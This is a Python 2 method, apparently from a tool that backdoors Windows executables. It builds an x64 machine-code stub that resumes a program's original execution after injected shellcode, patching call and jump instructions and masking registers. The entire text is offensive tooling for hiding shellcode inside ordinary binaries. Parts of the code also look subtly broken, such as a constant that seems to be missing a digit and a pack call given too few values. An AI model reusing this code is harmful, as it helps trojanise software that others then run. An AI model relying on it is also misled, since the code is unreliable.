'For x64 exes...'

def resume_execution_64(self):

    print '[*]    Creating    win64    resume    execution    stub'
    resumeExe = ''
    resumeExe += 'Q'
    resumeExe += 'H\xc7\xc1'
    resumeExe += struct.pack('<I', (len(self.flItms['shellcode']) - 6))
    resumeExe += '\xe2\xfe'
    resumeExe += 'Y'
    total_opcode_len = 0
    for item in self.flItms['ImpList']:
        startingPoint = item[0]
        OpCode = item[1]
        CallValue = item[2]
        ReturnTrackingAddress = item[3]
        entireInstr = item[4]
        total_opcode_len += item[5]
        self.ones_compliment()
        if (OpCode == 'call'):
            CallValue = int(CallValue, 16)
            resumeExe += 'H\x89\xd0'
            resumeExe += 'H\x83\xc0'
            resumeExe += struct.pack('<B', total_opcode_len)
            resumeExe += 'P'
            if (len(entireInstr[1:]) <= 4):
                resumeExe += 'H\xc7\xc1'
                resumeExe += entireInstr[1:]
            elif (len(entireInstr[1:]) > 4):
                resumeExe += 'H\xb9'
                resumeExe += entireInstr[1:]
            resumeExe += 'H\x01\xc8'
            resumeExe += 'P'
            resumeExe += 'H1\xc9'
            resumeExe += 'H\x89\xf0'
            resumeExe += 'H\x81\xe6'
            resumeExe += self.compliment_you
            resumeExe += 'H\x81\xe6'
            resumeExe += self.compliment_me
            resumeExe += '\xc3'
            return (ReturnTrackingAddress, resumeExe)
        elif any(((symbol in OpCode) for symbol in self.jmp_symbols)):
            CallValue = int(CallValue, 16)
            resumeExe += '\xb8'
            aprox_loc_wo_alsr = (((((startingPoint + self.flItms['JMPtoCodeAddress']) + len(self.flItms['shellcode'])) + len(resumeExe)) + 200) + self.flItms['buffer'])
            resumeExe += struct.pack('<I', aprox_loc_wo_alsr)
            resumeExe += struct.pack('=B', int('E8', 16))
            resumeExe += ('\x00' * 4)
            resumeExe += struct.pack('=B', int('59', 16))
            resumeExe += '+\xc1'
            resumeExe += '=\x00\x05\x00\x00'
            resumeExe += 'w\x0b'
            resumeExe += '\x83\xc1\x16'
            resumeExe += 'Q'
            resumeExe += '\xb8'
            if (OpCode is int('ea', 16)):
                resumeExe += struct.pack('<BBBBBB', (CallValue + 5))
            elif (CallValue > 429467295):
                resumeExe += struct.pack('<I', abs((((CallValue + 5) - 4294967295) + 2)))
            else:
                resumeExe += struct.pack('<I', (CallValue + 5))
            resumeExe += 'P\xc3'
            resumeExe += '\x8b\xf0'
            resumeExe += '\x8b\xc2'
            resumeExe += '\xb9'
            resumeExe += struct.pack('<I', (startingPoint - 5))
            resumeExe += '+\xc1'
            resumeExe += '\x05'
            if (OpCode is int('ea', 16)):
                resumeExe += struct.pack('<BBBBBB', (CallValue + 5))
            elif (CallValue > 429467295):
                resumeExe += struct.pack('<I', abs((((CallValue + 5) - 4294967295) + 2)))
            else:
                resumeExe += struct.pack('<I', CallValue)
            resumeExe += 'P'
            resumeExe += '3\xc9'
            resumeExe += '\x8b\xc6'
            resumeExe += '\x81\xe6'
            resumeExe += self.compliment_you
            resumeExe += '\x81\xe6'
            resumeExe += self.compliment_me
            resumeExe += '\xc3'
            return (ReturnTrackingAddress, resumeExe)
        else:
            resumeExe += entireInstr
    resumeExe += 'I\x81\xe7'
    resumeExe += self.compliment_you
    resumeExe += 'I\x81\xe7'
    resumeExe += self.compliment_me
    resumeExe += 'I\x81\xc7'
    if (ReturnTrackingAddress >= 4294967295):
        resumeExe += struct.pack('<Q', ReturnTrackingAddress)
    else:
        resumeExe += struct.pack('<I', ReturnTrackingAddress)
    resumeExe += 'AW'
    resumeExe += 'I\x81\xe7'
    resumeExe += self.compliment_you
    resumeExe += 'I\x81\xe7'
    resumeExe += self.compliment_me
    resumeExe += '\xc3'
    return (ReturnTrackingAddress, resumeExe)
